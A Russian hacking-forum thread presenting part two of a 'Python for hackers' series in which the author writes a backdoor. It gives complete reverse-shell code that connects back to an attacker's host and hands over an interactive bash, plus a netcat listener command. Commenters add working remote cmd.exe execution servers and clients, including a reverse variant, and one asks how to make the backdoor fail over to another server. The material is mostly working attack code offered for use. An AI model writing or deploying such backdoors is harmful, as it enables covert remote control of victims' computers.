• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Пишем backdoor [Python для хакера] Часть 2

Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[*Прошлая часть*]
[Введение]

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с "задней дверью" подробнее!

Backdoor(или же "запасной ход") - это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell'у).
57ec8cf7726fe407198156_1000.jpg


Так почему же backdoor - черный ход? - спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! - отвечу вам, я)


Кстати, Shell - это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.
Bind Shell - это, когда атакуемая машина играет роль сервера, а машина атакующего - клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell'у.
Reverse Shell - это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell'у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

*Подробно про Reverse и Bind Shell читать тут)*

[Приступаем к делу]

Что же, сегодня нам понадобятся 3 следующие библиотеки:
  1. Socket
  2. Subprocess
  3. OS
С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.
Subprocess - запускает определенные(заданные вами) процессы.

OS - это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули:
Python:
import subprocess
import socket
import os

Далее создаем сокет и осуществляем подключение:
Python:
host = "имя сервера"
port = порт

sock = socket.socket()
sock.connect((host, port))

А теперь не мало важная часть. Это - потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.
Python:
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell'у(командной оболочке):
Код:
subprocess.call(["bash","-i"])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell
Python:
import subprocess
import socket
import os

host = 192.168.1.X # server name
port = 9191 #ясно дело порт )

sock = socket.socket()
sock.connect((host, port))

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

subprocess.call(["bash", "-i"])

Далее, на атакующей машине остается только запустить сервер. Это делается просто - netcat.
Пропишем следующую команду:
Код:
nc -nlvp <порт>


В итоге наблюдаем, что все сработало как нам надо)
backdoorp.png


А на этом все. Попробуйте написать свой сервер для атакующей машины.
 
Последнее редактирование:

batu5ai

Grey Team
31.01.2018
103
110
BIT
17
ай спасибо :)
п.с. Если можно - выстави тег первой части или ссылку на первую часть, так будет удобнее искать и читать
 
  • Нравится
Реакции: SoloSubtle и LingPop

rink0

Green Team
28.11.2017
62
65
BIT
0
Наконецто!!
Я уж думал что ты забыл про эту тему)
 

vag4b0nd

Green Team
24.05.2017
303
1 472
BIT
27
Всё. Ошибка с тегом SIZE устранена.
 
Последнее редактирование:
  • Нравится
Реакции: batu5ai

dustver

Member
21.05.2016
5
0
BIT
1
Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?
 

MLNK

Mod. Ethical Hacking
Red Team
23.01.2018
560
706
BIT
1
Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.
 

vag4b0nd

Green Team
24.05.2017
303
1 472
BIT
27
Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.
Она там есть. В самом начале.

---- Добавлено позже ----

Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?
Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux ;)
 
Последнее редактирование:

MLNK

Mod. Ethical Hacking
Red Team
23.01.2018
560
706
BIT
1
Она там есть. В самом начале.

---- Добавлено позже ----


Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux ;)
Пойду очки протру

---- Добавлено позже ----

Она там есть. В самом начале.

---- Добавлено позже ----


Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux ;)
ты не так понял в первую статью Посмотреть вложение 15746
 
Последнее редактирование:
S

Sasha2401b

Доброго времени суток форумчани.
В ответ на статью AL04E, пишу этот комментарий. Статья понятно, была образовательная и для сильно новичков. Я читал гневные отзывы по его первой статье, что скажу, у людей разный опыт в программировании разное образование и т.д., и рассказывать что переменную не так назвали в коде из 10 строк и про плохой тон в разработке, ну это… Ну да ладно.
Код в статье был написан для Linux, а хотелось под Windows. Я должен отметить что backdoor на python это конечно жесть, да и backdoor должен быть скрытным и т.д.. Для backdoorа лучше Си, Сем что то компилируемое, но статьи даются для образовательных целей в данном случаи по сетевой разработке и это в принципе интересный пример да и всё, как реально применять его, это бред.
Скажу сразу, я не профессиональный разработчик, так пишу для себя не большие скрипты автоматизаций на Python. Сокетами сталкивался очень давно на Delphi, если кто помнит, там были компонеты indy и т.д.


Это не reverse, под реверс переделать не составит труда. Пример рабочий. Думаю если cmd, заменить на bash должно работать в Linux, не проверял
Сервер

Python:
#!/usr/bin/python3.5
from  socket import *
import subprocess, time

# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)

while True:
    conn, addr = sock.accept()
    print ('Server connect by ',addr)
    while True:

        try:
            data=conn.recv(1024)
        except:
            break
        if not data:
            break
      
        result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)
        conn.send(result.stdout) 
        conn.send(result.stderr)
# Интересный момент, может кто знает, у меня так нормальна не заработало, если conn.close() вынести с тела второго цикла.
# В примерах у того же Лутца, соединения закрывают в теле первого цикла. Ладно буду розбератся
        conn.close()

Клиент
Python:
#!/usr/bin/python3.5

from  socket import *

while True:
    sock=socket(AF_INET,SOCK_STREAM)
# если не на одной машине будите тестить localhost заменить на IP машины где будет сервер запущен
    sock.connect(('localhost',9090))
    sinst=input ("введите команду: ")
    if sinst=='exit1':
        break
    st=''
    for i in sinst:
      
        if i != "~":
            st=st+i
        else:
            st=st+'\n'
    # Для cmd переход на новую строку - выполнения команды      
    sinst=st+"\n"  
    sinst=sinst.encode('cp866')
    # Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode)
    sock.send(sinst)
   
    while True:
        try:
            data=sock.recv(1024)
        except:
            break 
        if not data:
            break
        print(data.decode('cp866'))
    sock.close()

Код простой и кривой явно, и мне он не очень нравится. Почему, из-за этого костыля
Python:
st=''
    for i in sinst:
      
        if i != "~":
            st=st+i
        else:
            st=st+'\n'
    # Для cmd переход на новую строку - выполнения команды      
    sinst=st+"\n"

Я думаю, спецы найдут кривизны полным полно, поковыряем еще, AL04E заинтересовал.
Если есть у кого советы или конкретный замечания (не флуд), пишите, будет легче и быстрее разобраться, не только мне.

Всем спасибо.

---- Добавлено позже ----

client.py
введите команду: cd .. ~ echo blablabla > testfile.txt
сразу выполнится cd.. перейдем в каталог верхнего уровня и там уже вторай командой создадим файл

---- Добавлено позже ----

Переделал код под reverse, проверял уже реверс, сервер Kali Linux, клиент windows 10, все работает. но только ж кодировка cp866 utf-8. в консоли lInux есть не много крякозяблов.
Сервер
Python:
#!/usr/bin/python3.5
from  socket import *


# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)

while True:
    conn, addr = sock.accept()
    print ('Server connect by ',addr)
    
#получить не последовательность байтов, а строку, то можно воспользоваться методом str.decode
    sinst=input ("ведите команду: ") 
    if sinst=='exit1':
        break
    st=''
    for i in sinst:
        if i != "~":
            st=st+i
        else:
            st=st+'\n'
# Для cmd переход на новую строку - выполнения команды        
    sinst=st+"\n"  
    sinst=sinst.encode('cp866')
    # Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode) 
    conn.send(sinst)
    while True:
        try:
            data=conn.recv(1024)
        except:
            break
            
        if not data: break
                 
        print(data.decode('cp866'))
    conn.close()

Клиент

Python:
#!/usr/bin/python3.5

from  socket import *
import subprocess, time

while True:
    sock=socket(AF_INET,SOCK_STREAM)
    sock.connect(('localhost',9090))
    try: 
        data=sock.recv(1024)        
        if not data:break
        result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)  
    except:
        break   
        
    sock.send(result.stdout)    
    sock.send(result.stderr)
sock.close()
 
Последнее редактирование модератором:
S

slepoihudoznik

я предлагаю добавить авторизацию по "отстукиванию-авторизации" (это уже описывалось ранее, лень ссылку искать) по определенным портам с использованием (задействованием ) незадействованными флагами пакетов , если авторизация прошла успешно то шелл открывает свои дверки .
как тут http s:// www. linux.org. ru/news /security /509918
или тут описано с примерами https :// www. opennet.ru/ base/sec/port_knocking.txt.html
про флаги достаточно интересно описано в книге https :// www. ozon.ru/ context/ detail/id/845773/
 
Последнее редактирование модератором:
M

MyrMyrBl9

Отличная статья!
Теперь есть понимание backdoor и reverse/bind атак :unsure:
Еще раз СПАСИБО за проделанный труд!
 
  • Нравится
Реакции: Сергей Попов

Foxlite

New member
13.01.2019
3
0
BIT
0
Спасибо большое автору, он меня очень сильно выручил я использую этот скрипт для создания удаленной машины, но есть один вопрос как сделать так чтобы если появлялась ошибка подключения к серверу он автоматически подключался к другому?
 

hippo hat

One Level
10.07.2019
3
1
BIT
0
у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:

┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File "backdr.py", line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

При переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File "backdr.py", line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

(Проблему решил оказалось что ip надо брать в кавычки")
 
Последнее редактирование:
  • Нравится
Реакции: Сергей Попов

FormatC

One Level
18.06.2019
7
3
BIT
0
у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:

┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File "backdr.py", line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

При переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File "backdr.py", line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

(Проблему решил оказалось что ip надо брать в кавычки")
А еще неплохо было бы запускать это через "python3" ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.
 

hippo hat

One Level
10.07.2019
3
1
BIT
0
А еще неплохо было бы запускать это через "python3" ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.
Если присмотритесь к тому как я запускал в первый раз, то можете заметить, что я запускал через python3
 
F

FrozenFlames

host = 192.168.1.X # server name
это строка выводит мне ошибку :(
 

JIBRIL

Green Team
25.11.2018
53
62
BIT
0
Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.

Server.py
Python:
# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket

import config
import protocol


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((config.host, config.port))
protocol.send(sock, input())
data = protocol.recv(sock)
sock.close()
print(data)
Python:
# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket
import threading
from os import listdir, path

import httrack
import config
import protocol


def dl_status_checker(thread, connection):
    if thread.isAlive:
        protocol.send(connection, "Downloading has started")
    else:
        protocol.send(connection, "Downloading has FAILED")


def handle_commands(connection, command, params):
    if command == "dl":
        if params[1] == '0':
            params[1] = False
        else:
            params[1] = True
        if not params[1] and len(params) == 2:
            params.append(None)
        htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2]))
        htt_thread.start()
        dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection))
        dl_status.start()
    elif command == "list":
        file_list = listdir(config.sites_directory)
        folder_list = []
        archive_list = []
        for file in file_list:
            if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache":
                folder_list.append(file)
            if path.isfile(config.sites_directory + '/' + file) and \
                    (file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"):
                archive_list.append(file)
        site_string = ""
        folder_found = False
        if folder_list:
            site_string += "List of folders:\n" + "\n".join(folder_list)
            folder_found = True
        if archive_list:
            if folder_found:
                site_string += "\n================================================================================\n"
            site_string += "List of archives:\n" + "\n".join(archive_list)
        if site_string == "":
            site_string = "Sites not found!"
        protocol.send(connection, site_string)
    elif command == "load":
        load = ""
        for i in range (1, 100000):
            load += str(i) + ' '
            if i % 1000 == 0:
                load += '\n'
        protocol.send(connection, load)
    else:
        protocol.send(connection, "Invalid request")


def args_analysis(connection, args):
    args = args.split()
    handle_commands(connection=connection, command=args[0], params=args[1:])

Client.py
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((config.host, config.port))
sock.listen(True)
while True:
    conn, addr = sock.accept()
    print('Connected by ', addr)
    data = protocol.recv(conn)
    args_analysis(connection=conn, args=data)



Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)
 
  • Нравится
Реакции: Roman B

JIBRIL

Green Team
25.11.2018
53
62
BIT
0
Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.

Server.py
Python:
# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket

import config
import protocol


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((config.host, config.port))
protocol.send(sock, input())
data = protocol.recv(sock)
sock.close()
print(data)
Python:
# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket
import threading
from os import listdir, path

import httrack
import config
import protocol


def dl_status_checker(thread, connection):
    if thread.isAlive:
        protocol.send(connection, "Downloading has started")
    else:
        protocol.send(connection, "Downloading has FAILED")


def handle_commands(connection, command, params):
    if command == "dl":
        if params[1] == '0':
            params[1] = False
        else:
            params[1] = True
        if not params[1] and len(params) == 2:
            params.append(None)
        htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2]))
        htt_thread.start()
        dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection))
        dl_status.start()
    elif command == "list":
        file_list = listdir(config.sites_directory)
        folder_list = []
        archive_list = []
        for file in file_list:
            if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache":
                folder_list.append(file)
            if path.isfile(config.sites_directory + '/' + file) and \
                    (file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"):
                archive_list.append(file)
        site_string = ""
        folder_found = False
        if folder_list:
            site_string += "List of folders:\n" + "\n".join(folder_list)
            folder_found = True
        if archive_list:
            if folder_found:
                site_string += "\n================================================================================\n"
            site_string += "List of archives:\n" + "\n".join(archive_list)
        if site_string == "":
            site_string = "Sites not found!"
        protocol.send(connection, site_string)
    elif command == "load":
        load = ""
        for i in range (1, 100000):
            load += str(i) + ' '
            if i % 1000 == 0:
                load += '\n'
        protocol.send(connection, load)
    else:
        protocol.send(connection, "Invalid request")


def args_analysis(connection, args):
    args = args.split()
    handle_commands(connection=connection, command=args[0], params=args[1:])

Client.py
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((config.host, config.port))
sock.listen(True)
while True:
    conn, addr = sock.accept()
    print('Connected by ', addr)
    data = protocol.recv(conn)
    args_analysis(connection=conn, args=data)



Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)
1 это Client.py
2.это Server.py
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!